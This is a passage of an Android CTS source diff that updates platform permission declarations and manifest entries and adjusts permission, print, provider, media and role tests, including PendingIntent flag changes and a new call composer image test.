to ensure that only the system can bind to it.
@SystemApi @hide This is not a third-party API (intended for OEMs and system apps).
@@ -3538,14 +3634,14 @@
android:protectionLevel="signature" />
<!-- Must be required by a {@link android.service.voice.VoiceInteractionService} implementation
- to enroll its own sound models. This is a more restrictive permission than the higher-level
- permission KEYPHRASE_ENROLLMENT_APPLICATION. For the caller to enroll sound models with
- this permission, it must hold the permission and be the active VoiceInteractionService in
- the system.
- {@see Settings.Secure.VOICE_INTERACTION_SERVICE}
- @hide -->
+ to enroll its own sound models. This is a more restrictive permission than the higher-level
+ permission KEYPHRASE_ENROLLMENT_APPLICATION. For the caller to enroll sound models with
+ this permission, it must hold the permission and be the active VoiceInteractionService in
+ the system.
+ {@see Settings.Secure.VOICE_INTERACTION_SERVICE}
+ @hide -->
<permission android:name="android.permission.MANAGE_VOICE_KEYPHRASES"
- android:protectionLevel="signature|privileged" />
+ android:protectionLevel="signature|privileged" />
<!-- Must be required by a keyphrase enrollment application, to enroll sound models. This is
treated as a higher-level permission to MANAGE_VOICE_KEYPHRASES as a caller can enroll
@@ -3554,7 +3650,7 @@
only.
@hide <p>Not for use by third-party applications.</p> -->
<permission android:name="android.permission.KEYPHRASE_ENROLLMENT_APPLICATION"
- android:protectionLevel="signature|privileged" />
+ android:protectionLevel="signature|privileged" />
<!-- Must be required by a {@link com.android.media.remotedisplay.RemoteDisplayProvider},
to ensure that only the system can bind to it.
@@ -3626,6 +3722,7 @@
@hide -->
<permission android:name="android.permission.MEDIA_RESOURCE_OVERRIDE_PID"
android:protectionLevel="signature" />
+ <uses-permission android:name="android.permission.MEDIA_RESOURCE_OVERRIDE_PID" />
<!-- This permission is required by Media Resource Observer Service when
accessing its registerObserver Api.
@@ -3752,6 +3849,17 @@
<permission android:name="com.android.permission.INSTALL_EXISTING_PACKAGES"
android:protectionLevel="signature|privileged" />
+ <!-- Allows an application to use the package installer v2 APIs.
+ <p>The package installer v2 APIs are still a work in progress and we're
+ currently validating they work in all scenarios.
+ <p>Not for use by third-party applications.
+ TODO(b/152310230): use this permission to protect only Incremental installations
+ once the APIs are confirmed to be sufficient.
+ @hide
+ -->
+ <permission android:name="com.android.permission.USE_INSTALLER_V2"
+ android:protectionLevel="signature|verifier" />
+
<!-- @SystemApi @TestApi Allows an application to clear user data.
<p>Not for use by third-party applications
@hide
@@ -3858,11 +3966,12 @@
<permission android:name="android.permission.ADJUST_RUNTIME_PERMISSIONS_POLICY"
android:protectionLevel="signature|installer" />
- <!-- @hide Allows an application to upgrade runtime permissions. -->
+ <!-- @SystemApi @TestApi Allows an application to upgrade runtime permissions.
+ @hide -->
<permission android:name="android.permission.UPGRADE_RUNTIME_PERMISSIONS"
android:protectionLevel="signature" />
- <!-- @SystemApi Allows an application to whitelist restricted permissions
+ <!-- @SystemApi Allows an application to allowlist restricted permissions
on any of the whitelists.
@hide -->
<permission android:name="android.permission.WHITELIST_RESTRICTED_PERMISSIONS"
@@ -3898,6 +4007,12 @@
<permission android:name="android.permission.MANAGE_COMPANION_DEVICES"
android:protectionLevel="signature" />
+ <!-- Allows an application to subscribe to notifications about the presence status change
+ of their associated companion device
+ -->
+ <permission android:name="android.permission.REQUEST_OBSERVE_COMPANION_DEVICE_PRESENCE"
+ android:protectionLevel="normal" />
+
<!-- @SystemApi Allows an application to use SurfaceFlinger's low level features.
<p>Not for use by third-party applications.
@hide
@@ -3905,6 +4020,14 @@
<permission android:name="android.permission.ACCESS_SURFACE_FLINGER"
android:protectionLevel="signature" />
+ <!-- @SystemApi Allows an application to rotate a surface by arbitrary degree.
+ This is a sub-feature of ACCESS_SURFACE_FLINGER and can be granted in a more concrete way.
+ <p>Not for use by third-party applications.
+ @hide
+ -->
+ <permission android:name="android.permission.ROTATE_SURFACE_FLINGER"
+ android:protectionLevel="signature|recents" />
+
<!-- Allows an application to take screen shots and more generally
get access to the frame buffer data.
<p>Not for use by third-party applications.
@@ -3997,11 +4120,10 @@
@hide
@TestApi -->
<permission android:name="android.permission.OVERRIDE_DISPLAY_MODE_REQUESTS"
- android:protectionLevel="signature" />
+ android:protectionLevel="signature" />
- <!-- Allows an application to override the display mode requests
- so the app requested mode will be selected and user settings and display
- policies will be ignored.
+ <!-- Allows an application to modify the refresh rate switching type. This
+ matches Setting.Secure.MATCH_CONTENT_FRAME_RATE.
@hide
@TestApi -->
<permission android:name="android.permission.MODIFY_REFRESH_RATE_SWITCHING_TYPE"
@@ -4020,6 +4142,14 @@
<permission android:name="android.permission.CONTROL_ALWAYS_ON_VPN"
android:protectionLevel="signature" />
+ <!-- @SystemApi Allows an application to capture the audio from tuner input devices types,
+ such as FM_TUNER.
+
+ <p>Not for use by third-party applications.</p>
+ @hide -->
+ <permission android:name="android.permission.CAPTURE_TUNER_AUDIO_INPUT"
+ android:protectionLevel="signature|privileged" />
+
<!-- Allows an application to capture audio output.
Use the {@code CAPTURE_MEDIA_OUTPUT} permission if only the {@code USAGE_UNKNOWN}),
{@code USAGE_MEDIA}) or {@code USAGE_GAME}) usages are intended to be captured.
@@ -4177,7 +4307,8 @@
<p>Not for use by third-party applications.
-->
<permission android:name="android.permission.BROADCAST_CLOSE_SYSTEM_DIALOGS"
- android:protectionLevel="signature|recents" />
+ android:protectionLevel="signature|privileged|recents" />
+ <uses-permission android:name="android.permission.BROADCAST_CLOSE_SYSTEM_DIALOGS" />
<!-- Allows an application to broadcast a notification that an application
package has been removed.
@@ -4250,7 +4381,10 @@
set of pages referenced over time.
<p>Declaring the permission implies intention to use the API and the user of the
device can grant permission through the Settings application.
- <p>Protection level: signature|privileged|appop -->
+ <p>Protection level: signature|privileged|appop
+ <p>A data loader has to be the one which provides data to install an app.
+ <p>A data loader has to have both permission:LOADER_USAGE_STATS AND
+ appop:LOADER_USAGE_STATS allowed to be able to access the read logs. -->
<permission android:name="android.permission.LOADER_USAGE_STATS"
android:protectionLevel="signature|privileged|appop" />
<uses-permission android:name="android.permission.LOADER_USAGE_STATS" />
@@ -4265,7 +4399,7 @@
<permission android:name="android.permission.CHANGE_APP_IDLE_STATE"
android:protectionLevel="signature|privileged" />
- <!-- @hide @SystemApi Allows an application to temporarily whitelist an inactive app to
+ <!-- @hide @SystemApi Allows an application to temporarily allowlist an inactive app to
access the network and acquire wakelocks.
<p>Not for use by third-party applications. -->
<permission android:name="android.permission.CHANGE_DEVICE_IDLE_TEMP_WHITELIST"
@@ -4550,10 +4684,11 @@
<permission android:name="android.permission.MANAGE_NOTIFICATIONS"
android:protectionLevel="signature" />
- <!-- Allows enabling and disabling notification listeners.
+ <!-- @SystemApi @TestApi Allows adding/removing enabled notification listener components.
@hide -->
<permission android:name="android.permission.MANAGE_NOTIFICATION_LISTENERS"
android:protectionLevel="signature|installer" />
+ <uses-permission android:name="android.permission.MANAGE_NOTIFICATION_LISTENERS" />
<!-- Allows notifications to be colorized
<p>Not for use by third-party applications. @hide -->
@@ -4563,7 +4698,7 @@
<!-- Allows access to keyguard secure storage. Only allowed for system processes.
@hide -->
<permission android:name="android.permission.ACCESS_KEYGUARD_SECURE_STORAGE"
- android:protectionLevel="signature" />
+ android:protectionLevel="signature|setup" />
<!-- Allows applications to set the initial lockscreen state.
<p>Not for use by third-party applications. @hide -->
@@ -4595,7 +4730,7 @@
<!-- Allows the system to control the BiometricDialog (SystemUI). Reserved for the system. @hide -->
<permission android:name="android.permission.MANAGE_BIOMETRIC_DIALOG"
android:protectionLevel="signature" />
-
+
<!-- Allows an application to control keyguard. Only allowed for system processes.
@hide -->
<permission android:name="android.permission.CONTROL_KEYGUARD"
@@ -4904,7 +5039,7 @@
<permission android:name="android.permission.ACCESS_VR_STATE"
android:protectionLevel="signature|preinstalled" />
- <!-- Allows an application to whitelist tasks during lock task mode
+ <!-- Allows an application to allowlist tasks during lock task mode
@hide <p>Not for use by third-party applications.</p> -->
<permission android:name="android.permission.UPDATE_LOCK_TASK_PACKAGES"
android:protectionLevel="signature|setup" />
@@ -4925,16 +5060,16 @@
<permission android:name="android.permission.MANAGE_AUTO_FILL"
android:protectionLevel="signature" />
- <!-- @SystemApi Allows an application to invoke the music recognition service.
- @hide <p>Not for use by third-party applications.</p> -->
- <permission android:name="android.permission.MANAGE_MUSIC_RECOGNITION"
- android:protectionLevel="signature" />
-
<!-- @SystemApi Allows an application to manage the content capture service.
@hide <p>Not for use by third-party applications.</p> -->
<permission android:name="android.permission.MANAGE_CONTENT_CAPTURE"
android:protectionLevel="signature" />
+ <!-- @SystemApi Allows an application to manage the music recognition service.
+ @hide <p>Not for use by third-party applications.</p> -->
+ <permission android:name="android.permission.MANAGE_MUSIC_RECOGNITION"
+ android:protectionLevel="signature" />
+
<!-- @SystemApi Allows an application to manage the content suggestions service.
@hide <p>Not for use by third-party applications.</p> -->
<permission android:name="android.permission.MANAGE_CONTENT_SUGGESTIONS"
@@ -4945,6 +5080,11 @@
<permission android:name="android.permission.MANAGE_APP_PREDICTIONS"
android:protectionLevel="signature|appPredictor" />
+ <!-- @SystemApi Allows an application to manage the search ui service.
+ @hide <p>Not for use by third-party applications.</p> -->
+ <permission android:name="android.permission.MANAGE_SEARCH_UI"
+ android:protectionLevel="signature" />
+
<!-- Allows an app to set the theme overlay in /vendor/overlay
being used.
@hide <p>Not for use by third-party applications.</p> -->
@@ -5140,16 +5280,12 @@
<permission android:name="android.permission.ASSOCIATE_INPUT_DEVICE_TO_DISPLAY_BY_PORT"
android:protectionLevel="signature" />
- <!-- Allows query of any normal app on the device, regardless of manifest declarations. -->
+ <!-- Allows query of any normal app on the device, regardless of manifest declarations.
+ <p>Protection level: normal -->
<permission android:name="android.permission.QUERY_ALL_PACKAGES"
android:protectionLevel="normal" />
<uses-permission android:name="android.permission.QUERY_ALL_PACKAGES"/>
- <!-- @hide @TestApi Allows apps to reset the state of {@link com.android.server.am.AppErrors}.
- Only for use in CTS tests. -->
- <permission android:name="android.permission.RESET_APP_ERRORS"
- android:protectionLevel="signature" />
-
<!-- @hide Allow the caller to collect debugging data from processes that otherwise
would require USAGE_STATS. Before sharing this data with other apps, holders
of this permission are REQUIRED to themselves check that the caller has
@@ -5177,22 +5313,52 @@
<permission android:name="android.permission.ACCESS_LOCUS_ID_USAGE_STATS"
android:protectionLevel="signature|appPredictor" />
+ <!-- @hide @TestApi Allows apps to reset the state of {@link com.android.server.am.AppErrors}.
+ <p>CTS tests will use UiAutomation.adoptShellPermissionIdentity() to gain access. -->
+ <permission android:name="android.permission.RESET_APP_ERRORS"
+ android:protectionLevel="signature" />
+
<!-- @hide Allows an application to create/destroy input consumer. -->
<permission android:name="android.permission.INPUT_CONSUMER"
android:protectionLevel="signature" />
<!-- @hide Allows an application to control the system's device state managed by the
- {@link android.service.devicestate.DeviceStateManagerService}. For example, on foldable
- devices this would grant access to toggle between the folded and unfolded states. -->
+ {@link android.service.devicestate.DeviceStateManagerService}. For example, on foldable
+ devices this would grant access to toggle between the folded and unfolded states. -->
<permission android:name="android.permission.CONTROL_DEVICE_STATE"
android:protectionLevel="signature" />
<!-- Must be required by an {@link android.service.attestation.ImpressionAttestationService}
- to ensure that only the system can bind to it.
- @hide This is not a third-party API (intended for OEMs and system apps). -->
+ to ensure that only the system can bind to it.
+ @hide This is not a third-party API (intended for OEMs and system apps).
+ -->
<permission android:name="android.permission.BIND_IMPRESSION_ATTESTATION_SERVICE"
android:protectionLevel="signature" />
+ <!-- @hide @TestApi Allows an application to enable/disable toast rate limiting.
+ <p>Not for use by third-party applications.
+ -->
+ <permission android:name="android.permission.MANAGE_TOAST_RATE_LIMITING"
+ android:protectionLevel="signature" />
+
+ <!-- Attribution for Geofencing service. -->
+ <attribution android:tag="GeofencingService" android:label="@string/geofencing_service"/>
+ <!-- Attribution for Country Detector. -->
+ <attribution android:tag="CountryDetector" android:label="@string/country_detector"/>
+ <!-- Attribution for Location service. -->
+ <attribution android:tag="LocationService" android:label="@string/location_service"/>
+ <!-- Attribution for Gnss service. -->
+ <attribution android:tag="GnssService" android:label="@string/gnss_service"/>
+ <!-- Attribution for Sensor Notification service. -->
+ <attribution android:tag="SensorNotificationService"
+ android:label="@string/sensor_notification_service"/>
+ <!-- Attribution for Twilight service. -->
+ <attribution android:tag="TwilightService" android:label="@string/twilight_service"/>
+ <!-- Attribution for the Offline LocationTimeZoneProvider, used to detect time zone using
+ on-device data -->
+ <attribution android:tag="OfflineLocationTimeZoneProvider"
+ android:label="@string/offline_location_time_zone_detection_service_attribution"/>
+
<application android:process="system"
android:persistent="true"
android:hasCode="false"
@@ -5207,7 +5373,7 @@
android:forceQueryable="true"
android:directBootAware="true">
<activity android:name="com.android.internal.app.ChooserActivity"
- android:theme="@style/Theme.DeviceDefault.Resolver"
+ android:theme="@style/Theme.DeviceDefault.Chooser"
android:finishOnCloseSystemDialogs="true"
android:excludeFromRecents="true"
android:documentLaunchMode="never"
@@ -5216,13 +5382,13 @@
android:process=":ui"
android:exported="true"
android:visibleToInstantApps="true">
- <intent-filter>
+ <intent-filter android:priority="100">
<action android:name="android.intent.action.CHOOSER" />
<category android:name="android.intent.category.DEFAULT" />
<category android:name="android.intent.category.VOICE" />
</intent-filter>
</activity>
- <activity android:name="com.android.internal.app.AccessibilityButtonChooserActivity"
+ <activity android:name="com.android.internal.accessibility.dialog.AccessibilityShortcutChooserActivity"
android:exported="false"
android:theme="@style/Theme.DeviceDefault.Dialog.Alert.DayNight"
android:finishOnCloseSystemDialogs="true"
@@ -5237,9 +5403,24 @@
<category android:name="android.intent.category.DEFAULT" />
</intent-filter>
</activity>
+ <activity android:name="com.android.internal.accessibility.dialog.AccessibilityButtonChooserActivity"
+ android:exported="false"
+ android:theme="@style/Theme.DeviceDefault.Resolver"
+ android:finishOnCloseSystemDialogs="true"
+ android:excludeFromRecents="true"
+ android:documentLaunchMode="never"
+ android:relinquishTaskIdentity="true"
+ android:configChanges="screenSize|smallestScreenSize|screenLayout|orientation|keyboard|keyboardHidden"
+ android:process=":ui"
+ android:visibleToInstantApps="true">
+ <intent-filter>
+ <action android:name="com.android.internal.intent.action.CHOOSE_ACCESSIBILITY_BUTTON" />
+ <category android:name="android.intent.category.DEFAULT" />
+ </intent-filter>
+ </activity>
<activity android:name="com.android.internal.app.IntentForwarderActivity"
android:finishOnCloseSystemDialogs="true"
- android:theme="@style/Theme.NoDisplay"
+ android:theme="@style/Theme.Translucent.NoTitleBar"
android:excludeFromRecents="true"
android:label="@string/user_owner_label"
android:exported="true"
@@ -5384,6 +5565,7 @@
<activity android:name="com.android.internal.app.BlockedAppActivity"
android:theme="@style/Theme.Dialog.Confirmation"
android:excludeFromRecents="true"
+ android:lockTaskMode="always"
android:process=":ui">
</activity>
@@ -5436,7 +5618,7 @@
</receiver>
<receiver android:name="com.android.server.updates.NetworkWatchlistInstallReceiver"
- android:exported="true"
+ android:exported="true"
android:permission="android.permission.UPDATE_CONFIG">
<intent-filter>
<action android:name="android.intent.action.UPDATE_NETWORK_WATCHLIST" />
@@ -5490,7 +5672,7 @@
</receiver>
<receiver android:name="com.android.server.updates.ConversationActionsInstallReceiver"
- android:exported="true"
+ android:exported="true"
android:permission="android.permission.UPDATE_CONFIG">
<intent-filter>
<action android:name="android.intent.action.UPDATE_CONVERSATION_ACTIONS" />
@@ -5499,7 +5681,7 @@
</receiver>
<receiver android:name="com.android.server.updates.CarrierIdInstallReceiver"
- android:exported="true"
+ android:exported="true"
android:permission="android.permission.UPDATE_CONFIG">
<intent-filter>
<action android:name="android.os.action.UPDATE_CARRIER_ID_DB" />
@@ -5508,7 +5690,7 @@
</receiver>
<receiver android:name="com.android.server.updates.EmergencyNumberDbInstallReceiver"
- android:exported="true"
+ android:exported="true"
android:permission="android.permission.UPDATE_CONFIG">
<intent-filter>
<action android:name="android.os.action.UPDATE_EMERGENCY_NUMBER_DB" />
@@ -5517,7 +5699,7 @@
</receiver>
<receiver android:name="com.android.server.MasterClearReceiver"
- android:exported="true"
+ android:exported="true"
android:permission="android.permission.MASTER_CLEAR">
<intent-filter
android:priority="100" >
@@ -5534,7 +5716,7 @@
</receiver>
<receiver android:name="com.android.server.WallpaperUpdateReceiver"
- android:exported="true"
+ android:exported="true"
android:permission="android.permission.RECEIVE_DEVICE_CUSTOMIZATION_READY">
<intent-filter>
<action android:name="android.intent.action.DEVICE_CUSTOMIZATION_READY"/>
@@ -5609,6 +5791,14 @@
android:permission="android.permission.BIND_JOB_SERVICE" >
</service>
+ <service android:name="com.android.server.people.data.DataMaintenanceService"
+ android:permission="android.permission.BIND_JOB_SERVICE" >
+ </service>
+
+ <service android:name="com.android.server.profcollect.ProfcollectForwardingService$ProfcollectBGJobService"
+ android:permission="android.permission.BIND_JOB_SERVICE" >
+ </service>
+
<service
android:name="com.android.server.autofill.AutofillCompatAccessibilityService"
android:permission="android.permission.BIND_ACCESSIBILITY_SERVICE"
@@ -5628,12 +5818,32 @@
</service>
<service android:name="com.android.server.pm.PackageManagerShellCommandDataLoader"
- android:exported="true">
+ android:exported="false">
<intent-filter>
- <action android:name="android.intent.action.LOAD_DATA" />
+ <action android:name="android.intent.action.LOAD_DATA"/>
</intent-filter>
</service>
+ <!-- AOSP configures a default secondary LocationTimeZoneProvider that uses an on-device
+ data set from the com.android.geotz APEX. -->
+ <uses-library android:name="com.android.location.provider" />
+ <service android:name="com.android.timezone.geotz.provider.OfflineLocationTimeZoneService"
+ android:exported="false">
+ <intent-filter>
+ <action android:name="com.android.location.timezone.service.v1.SecondaryLocationTimeZoneProvider" />
+ </intent-filter>
+ <meta-data android:name="serviceVersion" android:value="1" />
+ <meta-data android:name="serviceIsMultiuser" android:value="true" />
+ </service>
+
+ <provider
+ android:name="com.android.server.textclassifier.IconsContentProvider"
+ android:authorities="com.android.textclassifier.icons"
+ android:singleUser="true"
+ android:enabled="true"
+ android:exported="true">
+ </provider>
+
</application>
</manifest>
diff --git a/tests/tests/permission2/src/android/permission2/cts/NoReceiveSmsPermissionTest.java b/tests/tests/permission2/src/android/permission2/cts/NoReceiveSmsPermissionTest.java
index 3970da6..7375b1e 100644
--- a/tests/tests/permission2/src/android/permission2/cts/NoReceiveSmsPermissionTest.java
+++ b/tests/tests/permission2/src/android/permission2/cts/NoReceiveSmsPermissionTest.java
@@ -111,7 +111,7 @@
getContext().registerReceiver(receiver, filter);
PendingIntent receivedIntent = PendingIntent.getBroadcast(getContext(), 0,
- new Intent(APP_SPECIFIC_SMS_RECEIVED_ACTION), PendingIntent.FLAG_ONE_SHOT);
+ new Intent(APP_SPECIFIC_SMS_RECEIVED_ACTION), PendingIntent.FLAG_ONE_SHOT | PendingIntent.FLAG_MUTABLE_UNAUDITED);
String token = SmsManager.getDefault().createAppSpecificSmsToken(receivedIntent);
String message = "test message, token=" + token;
@@ -132,9 +132,9 @@
private void sendSMSToSelf(String message) {
PendingIntent sentIntent = PendingIntent.getBroadcast(getContext(), 0,
- new Intent(MESSAGE_SENT_ACTION), PendingIntent.FLAG_ONE_SHOT);
+ new Intent(MESSAGE_SENT_ACTION), PendingIntent.FLAG_ONE_SHOT | PendingIntent.FLAG_MUTABLE_UNAUDITED);
PendingIntent deliveryIntent = PendingIntent.getBroadcast(getContext(), 0,
- new Intent(MESSAGE_STATUS_RECEIVED_ACTION), PendingIntent.FLAG_ONE_SHOT);
+ new Intent(MESSAGE_STATUS_RECEIVED_ACTION), PendingIntent.FLAG_ONE_SHOT | PendingIntent.FLAG_MUTABLE_UNAUDITED);
TelephonyManager telephony = (TelephonyManager)
getContext().getSystemService(Context.TELEPHONY_SERVICE);
diff --git a/tests/tests/permission2/src/android/permission2/cts/PermissionPolicyTest.java b/tests/tests/permission2/src/android/permission2/cts/PermissionPolicyTest.java
index 233372c..8f62859 100644
--- a/tests/tests/permission2/src/android/permission2/cts/PermissionPolicyTest.java
+++ b/tests/tests/permission2/src/android/permission2/cts/PermissionPolicyTest.java
@@ -341,6 +341,9 @@
protectionLevel |= PermissionInfo.PROTECTION_SIGNATURE;
protectionLevel |= PermissionInfo.PROTECTION_FLAG_SYSTEM;
} break;
+ case "internal": {
+ protectionLevel |= PermissionInfo.PROTECTION_INTERNAL;
+ } break;
case "system": {
protectionLevel |= PermissionInfo.PROTECTION_FLAG_SYSTEM;
} break;
@@ -407,6 +410,9 @@
case "recents": {
protectionLevel |= PermissionInfo.PROTECTION_FLAG_RECENTS;
} break;
+ case "role": {
+ protectionLevel |= PermissionInfo.PROTECTION_FLAG_ROLE;
+ } break;
}
}
return protectionLevel;
diff --git a/tests/tests/permission2/src/android/permission2/cts/RestrictedPermissionsTest.java b/tests/tests/permission2/src/android/permission2/cts/RestrictedPermissionsTest.java
index adf25e8..2e73541 100644
--- a/tests/tests/permission2/src/android/permission2/cts/RestrictedPermissionsTest.java
+++ b/tests/tests/permission2/src/android/permission2/cts/RestrictedPermissionsTest.java
@@ -414,7 +414,8 @@
final Intent intent = new Intent(action);
final IntentSender intentSender = PendingIntent.getBroadcast(getContext(),
- 1, intent, PendingIntent.FLAG_ONE_SHOT).getIntentSender();
+ 1, intent, PendingIntent.FLAG_ONE_SHOT | PendingIntent.FLAG_IMMUTABLE)
+ .getIntentSender();
// Commit as shell to avoid confirm UI
runWithShellPermissionIdentity(() -> {
diff --git a/tests/tests/print/src/android/print/cts/PrintServicesTest.java b/tests/tests/print/src/android/print/cts/PrintServicesTest.java
index 20a4a6f..bc11b82 100644
--- a/tests/tests/print/src/android/print/cts/PrintServicesTest.java
+++ b/tests/tests/print/src/android/print/cts/PrintServicesTest.java
@@ -120,7 +120,7 @@
PendingIntent infoPendingIntent = PendingIntent.getActivity(getActivity(),
0,
- infoIntent, PendingIntent.FLAG_UPDATE_CURRENT);
+ infoIntent, PendingIntent.FLAG_UPDATE_CURRENT | PendingIntent.FLAG_MUTABLE_UNAUDITED);
sPrinter = new PrinterInfo.Builder(printerId, printerName,
PrinterInfo.STATUS_IDLE)
@@ -591,7 +591,7 @@
infoIntent.putExtra("PRINTER_NAME", "Printer2");
PendingIntent infoPendingIntent = PendingIntent.getActivity(getActivity(), 0,
- infoIntent, PendingIntent.FLAG_UPDATE_CURRENT);
+ infoIntent, PendingIntent.FLAG_UPDATE_CURRENT | PendingIntent.FLAG_MUTABLE_UNAUDITED);
PrinterInfo printer2 = new PrinterInfo.Builder(printer2Id, "Printer2",
PrinterInfo.STATUS_IDLE)
diff --git a/tests/tests/provider/Android.bp b/tests/tests/provider/Android.bp
index 1f5a1ae..6fb6d09 100644
--- a/tests/tests/provider/Android.bp
+++ b/tests/tests/provider/Android.bp
@@ -8,6 +8,7 @@
test_suites: [
"cts",
"general-tests",
+ "sts",
],
libs: [
diff --git a/tests/tests/provider/OWNERS b/tests/tests/provider/OWNERS
index 5861cd2..79975c0 100644
--- a/tests/tests/provider/OWNERS
+++ b/tests/tests/provider/OWNERS
@@ -1,8 +1,7 @@
# Bug component: 655625
-nandana@google.com
-zezeozue@google.com
-jsharkey@android.com
-corinac@google.com
+
+include platform/frameworks/base:/core/java/android/os/storage/OWNERS
+
tgunn@google.com
nicksauer@google.com
nona@google.com
diff --git a/tests/tests/provider/preconditions/Android.bp b/tests/tests/provider/preconditions/Android.bp
index 2f2dfae..0e3d6e8 100644
--- a/tests/tests/provider/preconditions/Android.bp
+++ b/tests/tests/provider/preconditions/Android.bp
@@ -10,6 +10,7 @@
test_suites: [
"cts",
"general-tests",
+ "sts"
],
host_supported: true,
device_supported: false,
diff --git a/tests/tests/provider/res/raw/testvideo2.mp4 b/tests/tests/provider/res/raw/testvideo2.mp4
index 1be8bee..216d330 100644
--- a/tests/tests/provider/res/raw/testvideo2.mp4
+++ b/tests/tests/provider/res/raw/testvideo2.mp4
Binary files differ
diff --git a/tests/tests/provider/src/android/provider/cts/contacts/CallLogTest.java b/tests/tests/provider/src/android/provider/cts/contacts/CallLogTest.java
index be71f6a..274b005 100644
--- a/tests/tests/provider/src/android/provider/cts/contacts/CallLogTest.java
+++ b/tests/tests/provider/src/android/provider/cts/contacts/CallLogTest.java
@@ -16,11 +16,27 @@
package android.provider.cts.contacts;
+import static org.junit.Assert.assertArrayEquals;
+
import android.content.ContentResolver;
import android.content.ContentValues;
import android.content.Context;
+import android.net.Uri;
+import android.os.OutcomeReceiver;
+import android.os.ParcelFileDescriptor;
import android.provider.CallLog;
+import android.provider.cts.R;
import android.test.InstrumentationTestCase;
+import android.util.Pair;
+
+import androidx.annotation.NonNull;
+
+import java.io.ByteArrayOutputStream;
+import java.io.FileInputStream;
+import java.io.InputStream;
+import java.util.concurrent.CompletableFuture;
+import java.util.concurrent.Executors;
+import java.util.concurrent.TimeUnit;
public class CallLogTest extends InstrumentationTestCase {
@@ -75,6 +91,59 @@
);
}
+ public void testCallComposerImageStorage() throws Exception {
+ Context context = getInstrumentation().getContext();
+ byte[] expected = readResourceDrawable(context, R.drawable.testimage);
+
+ CompletableFuture<Pair<Uri, CallLog.CallComposerLoggingException>> resultFuture =
+ new CompletableFuture<>();
+ Pair<Uri, CallLog.CallComposerLoggingException> result;
+ try (InputStream inputStream =
+ context.getResources().openRawResource(R.drawable.testimage)) {
+ CallLog.storeCallComposerPictureAsUser(context, android.os.Process.myUserHandle(),
+ inputStream,
+ Executors.newSingleThreadExecutor(),
+ new OutcomeReceiver<Uri, CallLog.CallComposerLoggingException>() {
+ @Override
+ public void onResult(@NonNull Uri result) {
+ resultFuture.complete(Pair.create(result, null));
+ }
+
+ @Override
+ public void onError(CallLog.CallComposerLoggingException error) {
+ resultFuture.complete(Pair.create(null, error));
+ }
+ });
+ result = resultFuture.get(CONTENT_RESOLVER_TIMEOUT_MS, TimeUnit.MILLISECONDS);
+ }
+ if (result.second != null) {
+ fail("Got error " + result.second.getErrorCode() + " when storing image");
+ }
+ Uri imageLocation = result.first;
+
+ try (ParcelFileDescriptor pfd =
+ context.getContentResolver().openFileDescriptor(imageLocation, "r")) {
+ byte[] remoteBytes = readBytes(new FileInputStream(pfd.getFileDescriptor()));
+ assertArrayEquals(expected, remoteBytes);
+ }
+ }
+
+ private byte[] readResourceDrawable(Context context, int id) throws Exception {
+ InputStream inputStream = context.getResources().openRawResource(id);
+ return readBytes(inputStream);
+ }
+
+ private byte[] readBytes(InputStream inputStream) throws Exception {
+ byte[] buffer = new byte[1024];
+ ByteArrayOutputStream output = new ByteArrayOutputStream();
+ int numRead;
+ do {
+ numRead = inputStream.read(buffer);
+ if (numRead > 0) output.write(buffer, 0, numRead);
+ } while (numRead > 0);
+ return output.toByteArray();
+ }
+
private void waitUntilConditionIsTrueOrTimeout(Condition condition, long timeout,
String description) {
final long start = System.currentTimeMillis();
diff --git a/tests/tests/provider/src/android/provider/cts/media/MediaStore_Audio_MediaTest.java b/tests/tests/provider/src/android/provider/cts/media/MediaStore_Audio_MediaTest.java
index bc4925c..ee7adbc 100644
--- a/tests/tests/provider/src/android/provider/cts/media/MediaStore_Audio_MediaTest.java
+++ b/tests/tests/provider/src/android/provider/cts/media/MediaStore_Audio_MediaTest.java
@@ -108,6 +108,10 @@
assertNotNull(c = mContentResolver.query(Media.getContentUriForPath(internalPath), null, null,
null, null));
c.close();
+
+ // Check other volume has correct uri
+ assertEquals(Media.getContentUri("0000-0000"),
+ Media.getContentUriForPath("/storage/0000-0000/foo.jpg"));
}
@Test
diff --git a/tests/tests/provider/src/android/provider/cts/media/MediaStore_Images_MediaTest.java b/tests/tests/provider/src/android/provider/cts/media/MediaStore_Images_MediaTest.java
index 2b692a0..d51c540 100644
--- a/tests/tests/provider/src/android/provider/cts/media/MediaStore_Images_MediaTest.java
+++ b/tests/tests/provider/src/android/provider/cts/media/MediaStore_Images_MediaTest.java
@@ -395,8 +395,6 @@
@Test
public void testLocationRedaction() throws Exception {
- // STOPSHIP: remove this once isolated storage is always enabled
- Assume.assumeTrue(StorageManager.hasIsolatedStorage());
final Uri publishUri = ProviderTestUtils.stageMedia(R.raw.lg_g4_iso_800_jpg, mExternalImages,
"image/jpeg");
final Uri originalUri = MediaStore.setRequireOriginal(publishUri);
diff --git a/tests/tests/provider/src/android/provider/cts/media/MediaStore_Video_MediaTest.java b/tests/tests/provider/src/android/provider/cts/media/MediaStore_Video_MediaTest.java
index 2a9444a..24332de 100644
--- a/tests/tests/provider/src/android/provider/cts/media/MediaStore_Video_MediaTest.java
+++ b/tests/tests/provider/src/android/provider/cts/media/MediaStore_Video_MediaTest.java
@@ -38,6 +38,7 @@
import android.os.FileUtils;
import android.os.ParcelFileDescriptor;
import android.os.storage.StorageManager;
+import android.platform.test.annotations.SecurityTest;
import android.provider.MediaStore;
import android.provider.MediaStore.Files.FileColumns;
import android.provider.MediaStore.Video.Media;
@@ -257,6 +258,7 @@
}
}
+ @SecurityTest
@Test
public void testIsoLocationRedaction() throws Exception {
// These videos have all had their ISO location metadata (in the (c)xyz box) artificially
diff --git a/tests/tests/role/src/android/app/role/cts/RoleControllerManagerTest.kt b/tests/tests/role/src/android/app/role/cts/RoleControllerManagerTest.kt
index d3ebfc5..3c09a30 100644
--- a/tests/tests/role/src/android/app/role/cts/RoleControllerManagerTest.kt
+++ b/tests/tests/role/src/android/app/role/cts/RoleControllerManagerTest.kt
@@ -18,7 +18,6 @@
import android.app.Instrumentation
-import android.app.role.RoleControllerManager
import android.app.role.RoleManager
import android.content.Context
import android.content.Intent
@@ -42,15 +41,14 @@
import java.util.function.Consumer
/**
- * Tests [RoleControllerManager].
+ * Tests RoleControllerManager APIs exposed on [RoleManager].
*/
@RunWith(AndroidJUnit4::class)
class RoleControllerManagerTest {
private val instrumentation: Instrumentation = InstrumentationRegistry.getInstrumentation()
private val context: Context = instrumentation.context
private val packageManager: PackageManager = context.packageManager
- private val roleControllerManager: RoleControllerManager =
- context.getSystemService(RoleControllerManager::class.java)!!
+ private val roleManager: RoleManager = context.getSystemService(RoleManager::class.java)!!
